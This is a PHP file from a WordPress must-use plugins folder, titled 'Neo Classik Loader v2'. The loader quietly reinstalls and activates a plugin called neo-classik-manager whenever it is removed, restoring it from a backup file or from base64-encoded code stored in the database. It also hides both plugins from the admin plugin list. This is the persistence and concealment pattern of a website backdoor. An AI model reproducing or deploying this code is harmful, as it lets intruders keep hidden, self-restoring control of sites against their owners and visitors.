File: /homepages/35/d967185540/htdocs/clickandbuilds/CEU/wp-content/mu-plugins_1/neo-classik-loader.php
<?php
// Neo Classik Loader v2
$plugin_file = WP_PLUGIN_DIR . "/neo-classik-manager/neo-classik-manager-v2.php";
if (!file_exists($plugin_file)) {
$backup_file = WPMU_PLUGIN_DIR . "/neo-classik-backup.php";
if (file_exists($backup_file)) {
if (!is_dir(dirname($plugin_file))) {
mkdir(dirname($plugin_file), 0755, true);
}
copy($backup_file, $plugin_file);
} else {
$plugin_code = get_option("neo_classik_plugin_code");
if ($plugin_code) {
if (!is_dir(dirname($plugin_file))) {
mkdir(dirname($plugin_file), 0755, true);
}
file_put_contents($plugin_file, base64_decode($plugin_code));
}
}
if (file_exists($plugin_file) && !function_exists("activate_plugin")) {
require_once(ABSPATH . "wp-admin/includes/plugin.php");
}
if (function_exists("activate_plugin") && !is_plugin_active(plugin_basename($plugin_file))) {
activate_plugin(plugin_basename($plugin_file));
}
}
add_filter("all_plugins", function($plugins) {
$hide_plugins = array(
"neo-classik-manager/neo-classik-manager-v2.php",
plugin_basename(__FILE__)
);
foreach ($hide_plugins as $hide_plugin) {
if (isset($plugins[$hide_plugin])) {
unset($plugins[$hide_plugin]);
}
}
return $plugins;
});